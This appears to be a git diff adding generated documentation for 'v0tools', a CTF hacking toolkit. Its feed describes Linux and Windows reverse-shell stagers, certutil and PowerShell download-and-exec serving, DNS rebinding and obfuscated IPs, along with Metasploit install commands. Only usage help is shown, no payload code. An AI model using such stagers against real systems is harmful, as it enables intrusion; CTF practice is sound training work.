/dev/null +++ b/docs/public/favicon/safari-pinned-tab.svg @@ -0,0 +1,35 @@ + + + + +Created by potrace 1.14, written by Peter Selinger 2001-2017 + + + + + diff --git a/docs/public/favicon/site.webmanifest b/docs/public/favicon/site.webmanifest new file mode 100644 index 0000000..934736b --- /dev/null +++ b/docs/public/favicon/site.webmanifest @@ -0,0 +1,19 @@ +{ + "name": "", + "short_name": "", + "icons": [ + { + "src": "/favicon/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png" + }, + { + "src": "/favicon/android-chrome-512x512.png", + "sizes": "512x512", + "type": "image/png" + } + ], + "theme_color": "#2f333e", + "background_color": "#2f333e", + "display": "standalone" +} diff --git a/docs/public/fonts/GeekdocIcons.woff b/docs/public/fonts/GeekdocIcons.woff new file mode 100644 index 0000000..baa7129 Binary files /dev/null and b/docs/public/fonts/GeekdocIcons.woff differ diff --git a/docs/public/fonts/GeekdocIcons.woff2 b/docs/public/fonts/GeekdocIcons.woff2 new file mode 100644 index 0000000..b846192 Binary files /dev/null and b/docs/public/fonts/GeekdocIcons.woff2 differ diff --git a/docs/public/fonts/KaTeX_AMS-Regular.ttf b/docs/public/fonts/KaTeX_AMS-Regular.ttf new file mode 100644 index 0000000..31b8d8d Binary files /dev/null and b/docs/public/fonts/KaTeX_AMS-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_AMS-Regular.woff b/docs/public/fonts/KaTeX_AMS-Regular.woff new file mode 100644 index 0000000..13000fc Binary files /dev/null and b/docs/public/fonts/KaTeX_AMS-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_AMS-Regular.woff2 b/docs/public/fonts/KaTeX_AMS-Regular.woff2 new file mode 100644 index 0000000..378b798 Binary files /dev/null and b/docs/public/fonts/KaTeX_AMS-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Caligraphic-Bold.ttf b/docs/public/fonts/KaTeX_Caligraphic-Bold.ttf new file mode 100644 index 0000000..b3e756c Binary files /dev/null and b/docs/public/fonts/KaTeX_Caligraphic-Bold.ttf differ diff --git a/docs/public/fonts/KaTeX_Caligraphic-Bold.woff b/docs/public/fonts/KaTeX_Caligraphic-Bold.woff new file mode 100644 index 0000000..cf82f36 Binary files /dev/null and b/docs/public/fonts/KaTeX_Caligraphic-Bold.woff differ diff --git a/docs/public/fonts/KaTeX_Caligraphic-Bold.woff2 b/docs/public/fonts/KaTeX_Caligraphic-Bold.woff2 new file mode 100644 index 0000000..6e9d50d Binary files /dev/null and b/docs/public/fonts/KaTeX_Caligraphic-Bold.woff2 differ diff --git a/docs/public/fonts/KaTeX_Caligraphic-Regular.ttf b/docs/public/fonts/KaTeX_Caligraphic-Regular.ttf new file mode 100644 index 0000000..a8cdd0e Binary files /dev/null and b/docs/public/fonts/KaTeX_Caligraphic-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Caligraphic-Regular.woff b/docs/public/fonts/KaTeX_Caligraphic-Regular.woff new file mode 100644 index 0000000..24f3b7b Binary files /dev/null and b/docs/public/fonts/KaTeX_Caligraphic-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Caligraphic-Regular.woff2 b/docs/public/fonts/KaTeX_Caligraphic-Regular.woff2 new file mode 100644 index 0000000..0bcce6f Binary files /dev/null and b/docs/public/fonts/KaTeX_Caligraphic-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Fraktur-Bold.ttf b/docs/public/fonts/KaTeX_Fraktur-Bold.ttf new file mode 100644 index 0000000..57cef5c Binary files /dev/null and b/docs/public/fonts/KaTeX_Fraktur-Bold.ttf differ diff --git a/docs/public/fonts/KaTeX_Fraktur-Bold.woff b/docs/public/fonts/KaTeX_Fraktur-Bold.woff new file mode 100644 index 0000000..56aeb69 Binary files /dev/null and b/docs/public/fonts/KaTeX_Fraktur-Bold.woff differ diff --git a/docs/public/fonts/KaTeX_Fraktur-Bold.woff2 b/docs/public/fonts/KaTeX_Fraktur-Bold.woff2 new file mode 100644 index 0000000..e4ad521 Binary files /dev/null and b/docs/public/fonts/KaTeX_Fraktur-Bold.woff2 differ diff --git a/docs/public/fonts/KaTeX_Fraktur-Regular.ttf b/docs/public/fonts/KaTeX_Fraktur-Regular.ttf new file mode 100644 index 0000000..1793994 Binary files /dev/null and b/docs/public/fonts/KaTeX_Fraktur-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Fraktur-Regular.woff b/docs/public/fonts/KaTeX_Fraktur-Regular.woff new file mode 100644 index 0000000..2e15d01 Binary files /dev/null and b/docs/public/fonts/KaTeX_Fraktur-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Fraktur-Regular.woff2 b/docs/public/fonts/KaTeX_Fraktur-Regular.woff2 new file mode 100644 index 0000000..f481b14 Binary files /dev/null and b/docs/public/fonts/KaTeX_Fraktur-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Main-Bold.ttf b/docs/public/fonts/KaTeX_Main-Bold.ttf new file mode 100644 index 0000000..e657894 Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Bold.ttf differ diff --git a/docs/public/fonts/KaTeX_Main-Bold.woff b/docs/public/fonts/KaTeX_Main-Bold.woff new file mode 100644 index 0000000..495fc43 Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Bold.woff differ diff --git a/docs/public/fonts/KaTeX_Main-Bold.woff2 b/docs/public/fonts/KaTeX_Main-Bold.woff2 new file mode 100644 index 0000000..cdb9ecc Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Bold.woff2 differ diff --git a/docs/public/fonts/KaTeX_Main-BoldItalic.ttf b/docs/public/fonts/KaTeX_Main-BoldItalic.ttf new file mode 100644 index 0000000..c11cde7 Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-BoldItalic.ttf differ diff --git a/docs/public/fonts/KaTeX_Main-BoldItalic.woff b/docs/public/fonts/KaTeX_Main-BoldItalic.woff new file mode 100644 index 0000000..121e242 Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-BoldItalic.woff differ diff --git a/docs/public/fonts/KaTeX_Main-BoldItalic.woff2 b/docs/public/fonts/KaTeX_Main-BoldItalic.woff2 new file mode 100644 index 0000000..42171ec Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-BoldItalic.woff2 differ diff --git a/docs/public/fonts/KaTeX_Main-Italic.ttf b/docs/public/fonts/KaTeX_Main-Italic.ttf new file mode 100644 index 0000000..2f270de Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Italic.ttf differ diff --git a/docs/public/fonts/KaTeX_Main-Italic.woff b/docs/public/fonts/KaTeX_Main-Italic.woff new file mode 100644 index 0000000..c669377 Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Italic.woff differ diff --git a/docs/public/fonts/KaTeX_Main-Italic.woff2 b/docs/public/fonts/KaTeX_Main-Italic.woff2 new file mode 100644 index 0000000..e89824d Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Italic.woff2 differ diff --git a/docs/public/fonts/KaTeX_Main-Regular.ttf b/docs/public/fonts/KaTeX_Main-Regular.ttf new file mode 100644 index 0000000..741db9c Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Main-Regular.woff b/docs/public/fonts/KaTeX_Main-Regular.woff new file mode 100644 index 0000000..4c8de9e Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Main-Regular.woff2 b/docs/public/fonts/KaTeX_Main-Regular.woff2 new file mode 100644 index 0000000..2aa480a Binary files /dev/null and b/docs/public/fonts/KaTeX_Main-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Math-BoldItalic.ttf b/docs/public/fonts/KaTeX_Math-BoldItalic.ttf new file mode 100644 index 0000000..c3a1c3e Binary files /dev/null and b/docs/public/fonts/KaTeX_Math-BoldItalic.ttf differ diff --git a/docs/public/fonts/KaTeX_Math-BoldItalic.woff b/docs/public/fonts/KaTeX_Math-BoldItalic.woff new file mode 100644 index 0000000..2c47198 Binary files /dev/null and b/docs/public/fonts/KaTeX_Math-BoldItalic.woff differ diff --git a/docs/public/fonts/KaTeX_Math-BoldItalic.woff2 b/docs/public/fonts/KaTeX_Math-BoldItalic.woff2 new file mode 100644 index 0000000..82f609f Binary files /dev/null and b/docs/public/fonts/KaTeX_Math-BoldItalic.woff2 differ diff --git a/docs/public/fonts/KaTeX_Math-Italic.ttf b/docs/public/fonts/KaTeX_Math-Italic.ttf new file mode 100644 index 0000000..b58dc88 Binary files /dev/null and b/docs/public/fonts/KaTeX_Math-Italic.ttf differ diff --git a/docs/public/fonts/KaTeX_Math-Italic.woff b/docs/public/fonts/KaTeX_Math-Italic.woff new file mode 100644 index 0000000..3ee35dc Binary files /dev/null and b/docs/public/fonts/KaTeX_Math-Italic.woff differ diff --git a/docs/public/fonts/KaTeX_Math-Italic.woff2 b/docs/public/fonts/KaTeX_Math-Italic.woff2 new file mode 100644 index 0000000..a2f3617 Binary files /dev/null and b/docs/public/fonts/KaTeX_Math-Italic.woff2 differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Bold.ttf b/docs/public/fonts/KaTeX_SansSerif-Bold.ttf new file mode 100644 index 0000000..68d11ee Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Bold.ttf differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Bold.woff b/docs/public/fonts/KaTeX_SansSerif-Bold.woff new file mode 100644 index 0000000..cd6dbb1 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Bold.woff differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Bold.woff2 b/docs/public/fonts/KaTeX_SansSerif-Bold.woff2 new file mode 100644 index 0000000..c2b93c8 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Bold.woff2 differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Italic.ttf b/docs/public/fonts/KaTeX_SansSerif-Italic.ttf new file mode 100644 index 0000000..2ea5de4 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Italic.ttf differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Italic.woff b/docs/public/fonts/KaTeX_SansSerif-Italic.woff new file mode 100644 index 0000000..d022507 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Italic.woff differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Italic.woff2 b/docs/public/fonts/KaTeX_SansSerif-Italic.woff2 new file mode 100644 index 0000000..e890b37 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Italic.woff2 differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Regular.ttf b/docs/public/fonts/KaTeX_SansSerif-Regular.ttf new file mode 100644 index 0000000..c2066ca Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Regular.woff b/docs/public/fonts/KaTeX_SansSerif-Regular.woff new file mode 100644 index 0000000..e43b4a2 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_SansSerif-Regular.woff2 b/docs/public/fonts/KaTeX_SansSerif-Regular.woff2 new file mode 100644 index 0000000..51037b4 Binary files /dev/null and b/docs/public/fonts/KaTeX_SansSerif-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Script-Regular.ttf b/docs/public/fonts/KaTeX_Script-Regular.ttf new file mode 100644 index 0000000..1753e88 Binary files /dev/null and b/docs/public/fonts/KaTeX_Script-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Script-Regular.woff b/docs/public/fonts/KaTeX_Script-Regular.woff new file mode 100644 index 0000000..2f8b979 Binary files /dev/null and b/docs/public/fonts/KaTeX_Script-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Script-Regular.woff2 b/docs/public/fonts/KaTeX_Script-Regular.woff2 new file mode 100644 index 0000000..e84ca23 Binary files /dev/null and b/docs/public/fonts/KaTeX_Script-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Size1-Regular.ttf b/docs/public/fonts/KaTeX_Size1-Regular.ttf new file mode 100644 index 0000000..31f438b Binary files /dev/null and b/docs/public/fonts/KaTeX_Size1-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Size1-Regular.woff b/docs/public/fonts/KaTeX_Size1-Regular.woff new file mode 100644 index 0000000..b0a7bb2 Binary files /dev/null and b/docs/public/fonts/KaTeX_Size1-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Size1-Regular.woff2 b/docs/public/fonts/KaTeX_Size1-Regular.woff2 new file mode 100644 index 0000000..f10ebd2 Binary files /dev/null and b/docs/public/fonts/KaTeX_Size1-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Size2-Regular.ttf b/docs/public/fonts/KaTeX_Size2-Regular.ttf new file mode 100644 index 0000000..8a309fd Binary files /dev/null and b/docs/public/fonts/KaTeX_Size2-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Size2-Regular.woff b/docs/public/fonts/KaTeX_Size2-Regular.woff new file mode 100644 index 0000000..79ddf33 Binary files /dev/null and b/docs/public/fonts/KaTeX_Size2-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Size2-Regular.woff2 b/docs/public/fonts/KaTeX_Size2-Regular.woff2 new file mode 100644 index 0000000..4cddb8b Binary files /dev/null and b/docs/public/fonts/KaTeX_Size2-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Size3-Regular.ttf b/docs/public/fonts/KaTeX_Size3-Regular.ttf new file mode 100644 index 0000000..14fe2db Binary files /dev/null and b/docs/public/fonts/KaTeX_Size3-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Size3-Regular.woff b/docs/public/fonts/KaTeX_Size3-Regular.woff new file mode 100644 index 0000000..1ecfff9 Binary files /dev/null and b/docs/public/fonts/KaTeX_Size3-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Size3-Regular.woff2 b/docs/public/fonts/KaTeX_Size3-Regular.woff2 new file mode 100644 index 0000000..e89276f Binary files /dev/null and b/docs/public/fonts/KaTeX_Size3-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Size4-Regular.ttf b/docs/public/fonts/KaTeX_Size4-Regular.ttf new file mode 100644 index 0000000..f88f27b Binary files /dev/null and b/docs/public/fonts/KaTeX_Size4-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Size4-Regular.woff b/docs/public/fonts/KaTeX_Size4-Regular.woff new file mode 100644 index 0000000..d4223a3 Binary files /dev/null and b/docs/public/fonts/KaTeX_Size4-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Size4-Regular.woff2 b/docs/public/fonts/KaTeX_Size4-Regular.woff2 new file mode 100644 index 0000000..93c7e82 Binary files /dev/null and b/docs/public/fonts/KaTeX_Size4-Regular.woff2 differ diff --git a/docs/public/fonts/KaTeX_Typewriter-Regular.ttf b/docs/public/fonts/KaTeX_Typewriter-Regular.ttf new file mode 100644 index 0000000..15b7a74 Binary files /dev/null and b/docs/public/fonts/KaTeX_Typewriter-Regular.ttf differ diff --git a/docs/public/fonts/KaTeX_Typewriter-Regular.woff b/docs/public/fonts/KaTeX_Typewriter-Regular.woff new file mode 100644 index 0000000..d786826 Binary files /dev/null and b/docs/public/fonts/KaTeX_Typewriter-Regular.woff differ diff --git a/docs/public/fonts/KaTeX_Typewriter-Regular.woff2 b/docs/public/fonts/KaTeX_Typewriter-Regular.woff2 new file mode 100644 index 0000000..e2ca86a Binary files /dev/null and b/docs/public/fonts/KaTeX_Typewriter-Regular.woff2 differ diff --git a/docs/public/fonts/LiberationMono.woff b/docs/public/fonts/LiberationMono.woff new file mode 100644 index 0000000..05f5bd2 Binary files /dev/null and b/docs/public/fonts/LiberationMono.woff differ diff --git a/docs/public/fonts/LiberationMono.woff2 b/docs/public/fonts/LiberationMono.woff2 new file mode 100644 index 0000000..3f4bb06 Binary files /dev/null and b/docs/public/fonts/LiberationMono.woff2 differ diff --git a/docs/public/fonts/LiberationSans-Bold.woff b/docs/public/fonts/LiberationSans-Bold.woff new file mode 100644 index 0000000..145ed9f Binary files /dev/null and b/docs/public/fonts/LiberationSans-Bold.woff differ diff --git a/docs/public/fonts/LiberationSans-Bold.woff2 b/docs/public/fonts/LiberationSans-Bold.woff2 new file mode 100644 index 0000000..b165967 Binary files /dev/null and b/docs/public/fonts/LiberationSans-Bold.woff2 differ diff --git a/docs/public/fonts/LiberationSans-BoldItalic.woff b/docs/public/fonts/LiberationSans-BoldItalic.woff new file mode 100644 index 0000000..aa4c0c1 Binary files /dev/null and b/docs/public/fonts/LiberationSans-BoldItalic.woff differ diff --git a/docs/public/fonts/LiberationSans-BoldItalic.woff2 b/docs/public/fonts/LiberationSans-BoldItalic.woff2 new file mode 100644 index 0000000..081c4d6 Binary files /dev/null and b/docs/public/fonts/LiberationSans-BoldItalic.woff2 differ diff --git a/docs/public/fonts/LiberationSans-Italic.woff b/docs/public/fonts/LiberationSans-Italic.woff new file mode 100644 index 0000000..ebe952e Binary files /dev/null and b/docs/public/fonts/LiberationSans-Italic.woff differ diff --git a/docs/public/fonts/LiberationSans-Italic.woff2 b/docs/public/fonts/LiberationSans-Italic.woff2 new file mode 100644 index 0000000..86f6521 Binary files /dev/null and b/docs/public/fonts/LiberationSans-Italic.woff2 differ diff --git a/docs/public/fonts/LiberationSans.woff b/docs/public/fonts/LiberationSans.woff new file mode 100644 index 0000000..bb582d5 Binary files /dev/null and b/docs/public/fonts/LiberationSans.woff differ diff --git a/docs/public/fonts/LiberationSans.woff2 b/docs/public/fonts/LiberationSans.woff2 new file mode 100644 index 0000000..796cb17 Binary files /dev/null and b/docs/public/fonts/LiberationSans.woff2 differ diff --git a/docs/public/fonts/Metropolis.woff b/docs/public/fonts/Metropolis.woff new file mode 100644 index 0000000..6b1342c Binary files /dev/null and b/docs/public/fonts/Metropolis.woff differ diff --git a/docs/public/fonts/Metropolis.woff2 b/docs/public/fonts/Metropolis.woff2 new file mode 100644 index 0000000..d79d50a Binary files /dev/null and b/docs/public/fonts/Metropolis.woff2 differ diff --git a/docs/public/index.html b/docs/public/index.html new file mode 100644 index 0000000..f875ed6 --- /dev/null +++ b/docs/public/index.html @@ -0,0 +1,995 @@ + + + + + + + + + + + + + + + + + + v0tools + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+
+ + + + + + + v0tools + + +
+ + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + Toggle Dark/Light/Auto mode + + + + +
+
+
+ + +
+ + + + +
+ + + + + + + + + + + +
+ +
+ + +
+ + +
+ + +
+

Home

+

+ + +

+ + +This package is for those participating in hacking CTFs and want some tools to help with some of the more tedious tasks.

+

Enjoy!

+

Pull requests welcome. :)

+
+

+ Installation / Quickstart + + + +

+
+

To install this package from pypy run the following command.

+
+
pip3 install v0tools
+
+

+ Api + + + +

+
+

API Documentation can be found here

+
+
+

+ Toc + + + +

+
+ + +
+ +
    + + + +
  • + + + Configuration: Configuration Options + + + + + +
  • + + + + + +
  • + + + System Install Prerequisites: System Install Prerequisites + + + + + + +
      + + + +
    • + + + Arch + + + + + +
    • + + + +
    • + + + Debian + + + + + +
    • + + + +
    • + + + Fedora + + + + + +
    • + + + +
    + + +
  • + + + + + +
  • + + + Commands: CLI Utilities + + + + + + +
      + + + +
    • + + + linrshell.py: Linux Reverse Shell stager. + + + + + +
    • + + + +
    • + + + winrshell.py: Windows Reverse Shell stager. + + + + + +
    • + + + + + +
    • + + + v0_bash_complete_msfvenom.py: Sourceable Autocomplete for msfvenom flags. + + + + + +
    • + + + +
    • + + + v0serv.py: HTTP Serve a directory, or serve a single isolated file. + + + + + +
    • + + + +
    • + + + v0upload.py: HTTP server that accepts PUT requests from remotes. + + + + + +
    • + + + + + +
    • + + + cmd-not-found.py: Print how to install packages on different operating systems + +Thanks to https://command-not-found.com/ and +Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + + + + + +
    • + + + +
    • + + + cmdrec.py: Terminal Recorder using ffmpeg and KDE Console. + + + + + +
    • + + + +
    • + + + dnsrebind.py: dns rebinding fqdn. + + + + + +
    • + + + +
    • + + + ip_urls.py: Generate a list of obfuscated ip variations and print to stdout. + + + + + +
    • + + + +
    • + + + php_search_vuln.py: Search for vulnerable calls / strings in php code. + +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git + + + + + +
    • + + + +
    • + + + unicodes.py: print unicode values and associated information to stdout. + + + + + +
    • + + + +
    + + +
  • + + + +
+ +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + +
+
+ + + +
+ + + + + + + + + + + + + + + + diff --git a/docs/public/index.xml b/docs/public/index.xml new file mode 100644 index 0000000..618d9a5 --- /dev/null +++ b/docs/public/index.xml @@ -0,0 +1,148 @@ + + + + Home on v0tools + https://v0tools.stev0.me/ + Recent content in Home on v0tools + Hugo -- gohugo.io + + linrshell.py + https://v0tools.stev0.me/commands/linrshell/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/linrshell/ + Linux Reverse Shell stager. + Screencast Help usage: linrshell.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [--rshell RSHELL] [--list] Linux Reverse Shell stager. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. --rshell RSHELL, -s RSHELL Reverse shell type nc,socat --list, -l List reverse shell types Source #! + + + + winrshell.py + https://v0tools.stev0.me/commands/winrshell/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/winrshell/ + Windows Reverse Shell stager. + Screencast Help usage: winrshell.py [-h] [-p PORT] [--interface INTERFACE] [--ipv {4,6}] [--rshell RSHELL] [--list] Windows Reverse Shell stager. optional arguments: -h, --help show this help message and exit -p PORT, --port PORT Directory or file path. --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version --rshell RSHELL, -s RSHELL Reverse shell type psh,conpty --list, -l List reverse shell types Source #! + + + + v0_bash_complete_msfvenom.py + https://v0tools.stev0.me/commands/v0_bash_complete_msfvenom/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/v0_bash_complete_msfvenom/ + Sourceable Autocomplete for msfvenom flags. + Screencast Help usage: v0_bash_complete_msfvenom.py [-h] Sourceable Autocomplete for msfvenom flags. optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;Sourceable Autocomplete for msfvenom flags.&#34;&#34;&#34; from v0tools.msf import get_venom_auto_complete from v0tools.cli import Cli def main(args): &#34;&#34;&#34;Run main function.&#34;&#34;&#34; print(&#34;##### Venom Autocomplete&#34;, flush=True) print(get_venom_auto_complete(), flush=True) cli = Cli() cli. + + + + v0serv.py + https://v0tools.stev0.me/commands/v0serv/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/v0serv/ + HTTP Serve a directory, or serve a single isolated file. + Screencast Help usage: v0serv.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] [-d {none,certutil,ps-download,ps-exec}] path HTTP Serve a directory, or serve a single isolated file. positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. + + + + v0upload.py + https://v0tools.stev0.me/commands/v0upload/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/v0upload/ + HTTP server that accepts PUT requests from remotes. + Screencast Help usage: v0upload.py [-h] [--interface INTERFACE] [--ipv {4,6}] [-p PORT] path HTTP server that accepts PUT requests from remotes. positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --interface INTERFACE, -i INTERFACE network interface: i.e. tun0, eth0, if undefined, an fzf prompt will appear --ipv {4,6} IP Version -p PORT, --port PORT Directory or file path. + + + + cmd-not-found.py + https://v0tools.stev0.me/commands/cmd-not-found/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/cmd-not-found/ + Print how to install packages on different operating systems +Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + Screencast Help usage: cmd-not-found.py [-h] command Print how to install packages on different operating systems Thanks to https://command-not-found.com/ and Ƚukasz Lach https://twitter.com/lach_dev for hosting the site positional arguments: command command help optional arguments: -h, --help show this help message and exit Source #! + + + + cmdrec.py + https://v0tools.stev0.me/commands/cmdrec/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/cmdrec/ + Terminal Recorder using ffmpeg and KDE Console. + Screencast Help usage: cmdrec.py [-h] [--overwrite] [--shell_geometry SHELL_GEOMETRY] [--recording_geometry RECORDING_GEOMETRY] [--scr SCR] [--noterm] [--terminal {konsole}] dest_file Terminal Recorder using ffmpeg and KDE Console. positional arguments: dest_file destination file, supported types mp4,gif,webm optional arguments: -h, --help show this help message and exit --overwrite, -y Overwrite destination file --shell_geometry SHELL_GEOMETRY, -g SHELL_GEOMETRY geometry in the following format x,y,pixel-width,pixel-height --recording_geometry RECORDING_GEOMETRY, -r RECORDING_GEOMETRY geometry in the following format for recording area x,y,pixel-width,pixel-height --scr SCR, -k SCR Screen Keys Screen --noterm, -n Do not spawn a new terminal --terminal {konsole}, -t {konsole} terminal command Source #! + + + + dnsrebind.py + https://v0tools.stev0.me/commands/dnsrebind/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/dnsrebind/ + dns rebinding fqdn. + Screencast Help usage: dnsrebind.py [-h] [--test_count TEST_COUNT] [--verbose] normalip rebindip dns rebinding fqdn. positional arguments: normalip initial ip rebindip rebind ip optional arguments: -h, --help show this help message and exit --test_count TEST_COUNT, -t TEST_COUNT test count --verbose, -v verbose Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;dns rebinding fqdn.&#34;&#34;&#34; from v0tools.attacks.dnsrebind import get_fqdn from v0tools.lib.log import get_log from v0tools. + + + + ip_urls.py + https://v0tools.stev0.me/commands/ip_urls/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/ip_urls/ + Generate a list of obfuscated ip variations and print to stdout. + Screencast Help usage: ip_urls.py [-h] ip Generate a list of obfuscated ip variations and print to stdout. positional arguments: ip ip address optional arguments: -h, --help show this help message and exit Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;Generate a list of obfuscated ip variations and print to stdout. + + + + php_search_vuln.py + https://v0tools.stev0.me/commands/php_search_vuln/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/php_search_vuln/ + Search for vulnerable calls / strings in php code. +Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git + Screencast Help usage: php_search_vuln.py [-h] [--filter FILTER] [--inc_lines INC_LINES] path Search for vulnerable calls / strings in php code. Example Repo: https://github.com/OWASP/Vulnerable-Web-Application.git positional arguments: path Directory or file path. optional arguments: -h, --help show this help message and exit --filter FILTER, -f FILTER i.e. *.php or *.py --inc_lines INC_LINES, -l INC_LINES number of lines to include before / after match Source #! + + + + unicodes.py + https://v0tools.stev0.me/commands/unicodes/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/commands/unicodes/ + print unicode values and associated information to stdout. + Screencast Help usage: unicodes.py [-h] [-f [FILTER ...]] print unicode values and associated information to stdout. example: unicodes.py | fzf optional arguments: -h, --help show this help message and exit -f [FILTER ...], --filter [FILTER ...] Filter string Source #!/usr/bin/env python3 # -*- coding: utf-8 -*- &#34;&#34;&#34;print unicode values and associated information to stdout. + + + + + https://v0tools.stev0.me/sys_prerequisites/arch/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/sys_prerequisites/arch/ + # Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey sudo pacman -S fzf konsole socat rlwrap ffmpeg nmap metasploit screenkey + + + + + https://v0tools.stev0.me/sys_prerequisites/debian/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/sys_prerequisites/debian/ + # Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey sudo apt install fzf konsole socat rlwrap ffmpeg ncat screenkey # Install msfvenom curl https://apt.metasploit.com/metasploit-framework.gpg.key | apt-key add - echo deb http://apt.metasploit.com buster main &gt;&gt; /etc/apt/sources.list apt update apt install -y metasploit-framework + + + + + https://v0tools.stev0.me/sys_prerequisites/fedora/ + Mon, 01 Jan 0001 00:00:00 +0000 + + https://v0tools.stev0.me/sys_prerequisites/fedora/ + # Provides fzf, konsole, socat, rlwrap, ffmpeg, nc, msfvenom, msfconsole, screenkey sudo yum -y install konsole socat nmap-ncat screenkey # Install fzf git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ~/.fzf/install source ~/.bashrc # Install rlwrap sudo yum -y group install &#34;Development Tools&#34; sudo yum -y install readline-devel git clone https://github.com/hanslub42/rlwrap.git cd rlwrap autoreconf --install ./configure make sudo make install # Install ffmpeg sudo yum -y install epel-release sudo yum -y localinstall --nogpgcheck https://download1. + + + + diff --git a/docs/public/js/auto-render-e6e57901eb.min.js b/docs/public/js/auto-render-e6e57901eb.min.js new file mode 100644 index 0000000..92bf352 --- /dev/null +++ 